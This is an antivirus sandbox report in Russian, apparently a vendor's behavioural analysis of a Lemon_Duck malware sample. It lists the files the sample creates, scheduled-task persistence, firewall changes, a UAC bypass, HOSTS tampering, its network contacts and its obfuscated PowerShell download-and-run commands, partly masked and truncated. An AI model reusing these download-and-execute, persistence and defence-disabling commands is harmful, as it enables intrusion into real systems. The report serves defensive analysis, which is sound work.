Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\bluetea
- <SYSTEM32>\tasks\wjruei5mohl
- <SYSTEM32>\tasks\asxaqj3tlif\ywanam
- <SYSTEM32>\tasks\microsoft\windows\2w3clvs\m1ggkbchl0m
- <SYSTEM32>\tasks\wxh70ydle
- <SYSTEM32>\tasks\ufzfivcekjg\b6tiul1v
- <SYSTEM32>\tasks\microsoft\windows\pzuxms\l0moa7
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует:
- Центр обеспечения безопасности (Security Center)
Загружает и запускает на исполнение
- http://t.##cna.com/mail.jsp?do##########################################################
Запускает на исполнение
- '<SYSTEM32>\netsh.exe' firewall add portopening tcp 65529 SDNSd
- '<SYSTEM32>\netsh.exe' firewall add portopening tcp 65533 DNSd
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c powershell -w hidden -c "if([Environment]::OSVersion.version.Major -eq '10'){Set-ItemProperty -Path 'HKCU:Environment' -Name 'windir' -Value 'cmd /c powershell -w hidden Set-MpPreference -Di...
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\nasm62flrid8qdc.sct
- %WINDIR%\temp\_grzb98c.dll
- %WINDIR%\temp\resbda6.tmp
- %WINDIR%\temp\cscbd85.tmp
- %WINDIR%\temp\_grzb98c.pdb
- %WINDIR%\temp\_grzb98c.out
- %WINDIR%\temp\_grzb98c.cmdline
- %WINDIR%\temp\_grzb98c.0.cs
- %WINDIR%\temp\if.bin
- <SYSTEM32>\migwiz\$dpx$.tmp\214742e7b1f4ce489244f8f0299f9542.tmp
- %TEMP%\cab_2700_5
- %TEMP%\cab_2700_6
- %TEMP%\cab_2700_4
- %TEMP%\cab_2700_2
- %TEMP%\cab_2700_3
- %TEMP%\wdscore.dll
- %WINDIR%\temp\cmd.bat
- %TEMP%\uac.cab
- %WINDIR%\temp\m6.bin
Удаляет следующие файлы
- %TEMP%\cab_2700_2
- %TEMP%\cab_2700_3
- %TEMP%\cab_2700_4
- %TEMP%\cab_2700_5
- %TEMP%\cab_2700_6
- %TEMP%\uac.cab
- %TEMP%\wdscore.dll
- %TEMP%\nasm62flrid8qdc.sct
- %WINDIR%\temp\resbda6.tmp
- %WINDIR%\temp\cscbd85.tmp
- %WINDIR%\temp\_grzb98c.out
- %WINDIR%\temp\_grzb98c.dll
- %WINDIR%\temp\_grzb98c.pdb
- %WINDIR%\temp\_grzb98c.0.cs
- %WINDIR%\temp\_grzb98c.cmdline
Перемещает следующие файлы
- <SYSTEM32>\migwiz\$dpx$.tmp\214742e7b1f4ce489244f8f0299f9542.tmp в <SYSTEM32>\migwiz\wdscore.dll
Изменяет файл HOSTS.
Сетевая активность
TCP
Запросы HTTP GET
- http://t.##cna.com/7p.php
- http://t.##cna.com/mail.jsp?do####################
- http://t.##cna.com/x.js
- http://t.##cna.com/x.jsp?ma############################################################################################################
- http://t.##cna.com/report.jsp?ig#################################################################################################################################################################...
- http://20#.#89.144.115/if_mail.bin?ig############################################################################################################################################################...
- http://20#.#89.144.115/if.bin?ig#################################################################
- http://20#.#89.144.115/m6.bin?ig#################################################################
- http://jr##7mc.jp/w.js
UDP
- DNS ASK t.##cna.com
- DNS ASK t.##2q.com
- DNS ASK t.##ynx.com
- DNS ASK lp##.ackng.com
- DNS ASK ch###d9zqo.cn
- DNS ASK sp##x38.kr
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c powershell -w hidden -c "if([Environment]::OSVersion.version.Major -eq '10'){Set-ItemProperty -Path 'HKCU:Environment' -Name 'windir' -Value 'cmd /c powershell -w hidden Set-MpPreference -Di...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='\wJRuei5MoHL';$x='t.tr2'+'q.com';;$y='http://'+#x+'/x.js';$z=$y+'p?ma############################# Net.WebC`lient)."DownloadData"($y);[System.Security.Cryptography.MD5]::Create...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='aSxAQJ3TLIF\YWanAm';$x='t.awc'+'na.com';;$y='http://'+#x+'/x.js';$z=$y+'p?ma############################# Net.WebC`lient)."DownloadData"($y);[System.Security.Cryptography.MD5]:...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='MicroSoft\Windows\2w3CLvS\M1GgkbChL0m';$x='t.amy'+'nx.com';;$y='http://'+#x+'/x.js';$z=$y+'p?ma############################# Net.WebC`lient)."DownloadData"($y);[System.Security...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='\WxH70ydLE';$x='chpEo'+'D9ZQO.cn';[Net.Dns]::GetHostAddresses('t.tr2'+'q.com')[0].IPAddressToString+' '+$x|out-file -"encoding" as`ci`i <DRIVERS>\etc\hosts;$y='http://'+#x+'/w....' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='ufZFivCekjG\B6TIUl1v';$x='jR267'+'mC.jp';[Net.Dns]::GetHostAddresses('t.awc'+'na.com')[0].IPAddressToString+' '+$x|out-file -"encoding" as`ci`i <DRIVERS>\etc\hosts;$y='http://'...' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\_grzb98c.cmdline"' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='MicroSoft\Windows\pzUXMs\L0mOa7';$x='sPjqx'+'38.kr';[Net.Dns]::GetHostAddresses('t.amy'+'nx.com')[0].IPAddressToString+' '+$x|out-file -"encoding" as`ci`i <DRIVERS>\etc\hosts;$...' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RESBDA6.tmp" "%WINDIR%\Temp\CSCBD85.tmp"' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' powershell -c $pipe=new-object System.IO.Pipes.NamedPipeServerStream('\\.\pipe\HHyeuqi7');$pipe.WaitForConnection();$sr=new-object System.IO.StreamReader($pipe);$cmd=$sr.ReadToEnd();$sr.Dispose...' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\makecab.exe' %TEMP%\wdscore.dll %TEMP%\uac.cab
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "try{$localIf=$flase;New-Object Threading.Mutex($true,'Global\eLocalIf',[ref]$localIf)}catch{};$ifmd5='c2fcf4ebba3fbfa1fc4c82e728137076';$ifp=$env:tmp+'\if.bin';$down_url='http://20#.###.144...
- '<SYSTEM32>\cmd.exe' /c powershell -c "try{$localMn=$flase;New-Object Threading.Mutex($true,'Global\eLocalMn',[ref]$localMn)}catch{};$ifmd5='5b2849ff2e8c335dcc60fd2155b2d4d3';$ifp=$env:tmp+'\m6.bin';$down_url='http...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='ufZFivCekjG\B6TIUl1v';$x='jR267'+'mC.jp';[Net.Dns]::GetHostAddresses('t.awc'+'na.com')[0].IPAddressToString+' '+$x|out-file -"encoding" as`ci`i <DRIVERS>\etc\hosts;$y='http://'...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "try{$localMn=$flase;New-Object Threading.Mutex($true,'Global\eLocalMn',[ref]$localMn)}catch{};$ifmd5='5b2849ff2e8c335dcc60fd2155b2d4d3';$ifp=$env:tmp+'\m6.bin';$down_url='http://20#.###.144...
- '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn MicroSoft\Windows\pzUXMs\L0mOa7 /F /tr "powershell PS_CMD"
- '<SYSTEM32>\schtasks.exe' /run /tn MicroSoft\Windows\pzUXMs\L0mOa7
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%WINDIR%\TEMP\_grzb98c.cmdline"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='MicroSoft\Windows\pzUXMs\L0mOa7';$x='sPjqx'+'38.kr';[Net.Dns]::GetHostAddresses('t.amy'+'nx.com')[0].IPAddressToString+' '+$x|out-file -"encoding" as`ci`i <DRIVERS>\etc\hosts;$...
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%WINDIR%\TEMP\RESBDA6.tmp" "%WINDIR%\Temp\CSCBD85.tmp"
- '<SYSTEM32>\schtasks.exe' /delete /tn Rtsa2 /F
- '<SYSTEM32>\schtasks.exe' /delete /tn Rtsa1 /F
- '<SYSTEM32>\schtasks.exe' /delete /tn Rtsa /F
- '<SYSTEM32>\cmd.exe' powershell -c $pipe=new-object System.IO.Pipes.NamedPipeServerStream('\\.\pipe\HHyeuqi7');$pipe.WaitForConnection();$sr=new-object System.IO.StreamReader($pipe);$cmd=$sr.ReadToEnd();$sr.Dispose...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c $pipe=new-object System.IO.Pipes.NamedPipeServerStream('\\.\pipe\HHyeuqi7');$pipe.WaitForConnection();$sr=new-object System.IO.StreamReader($pipe);$cmd=$sr.ReadToEnd();$sr.Dispose();$pipe.Di...
- '<SYSTEM32>\cmd.exe' /c netsh.exe firewall add portopening tcp 65529 SDNSd
- '<SYSTEM32>\schtasks.exe' /run /tn ufZFivCekjG\B6TIUl1v
- '<SYSTEM32>\netsh.exe' interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53
- '<SYSTEM32>\cmd.exe' /c powershell -c "try{$localIf=$flase;New-Object Threading.Mutex($true,'Global\eLocalIf',[ref]$localIf)}catch{};$ifmd5='c2fcf4ebba3fbfa1fc4c82e728137076';$ifp=$env:tmp+'\if.bin';$down_url='http...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='\WxH70ydLE';$x='chpEo'+'D9ZQO.cn';[Net.Dns]::GetHostAddresses('t.tr2'+'q.com')[0].IPAddressToString+' '+$x|out-file -"encoding" as`ci`i <DRIVERS>\etc\hosts;$y='http://'+#x+'/w....
- '<SYSTEM32>\wusa.exe' %TEMP%\uac.cab /extract:<SYSTEM32>\migwiz\
- '<SYSTEM32>\migwiz\migwiz.exe'
- '<SYSTEM32>\cmd.exe' /c "%WINDIR%\temp\cmd.bat"
- '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 120 /tn bluetea /F /tr bluetea
- '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn \wJRuei5MoHL /F /tr "powershell PS_CMD"
- '<SYSTEM32>\schtasks.exe' /run /tn \wJRuei5MoHL
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='\wJRuei5MoHL';$x='t.tr2'+'q.com';;$y='http://'+#x+'/x.js';$z=$y+'p?ma############################# Net.WebC`lient)."DownloadData"($y);[System.Security.Cryptography.MD5]::Create...
- '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn aSxAQJ3TLIF\YWanAm /F /tr "powershell PS_CMD"
- '<SYSTEM32>\schtasks.exe' /run /tn aSxAQJ3TLIF\YWanAm
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='aSxAQJ3TLIF\YWanAm';$x='t.awc'+'na.com';;$y='http://'+#x+'/x.js';$z=$y+'p?ma############################# Net.WebC`lient)."DownloadData"($y);[System.Security.Cryptography.MD5]:...
- '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn MicroSoft\Windows\2w3CLvS\M1GgkbChL0m /F /tr "powershell PS_CMD"
- '<SYSTEM32>\schtasks.exe' /run /tn MicroSoft\Windows\2w3CLvS\M1GgkbChL0m
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$Lemon_Duck='MicroSoft\Windows\2w3CLvS\M1GgkbChL0m';$x='t.amy'+'nx.com';;$y='http://'+#x+'/x.js';$z=$y+'p?ma############################# Net.WebC`lient)."DownloadData"($y);[System.Security...
- '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn \WxH70ydLE /F /tr "powershell PS_CMD"
- '<SYSTEM32>\schtasks.exe' /run /tn \WxH70ydLE
- '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn ufZFivCekjG\B6TIUl1v /F /tr "powershell PS_CMD"
- '<SYSTEM32>\cmd.exe' /c netsh.exe firewall add portopening tcp 65533 DNSd
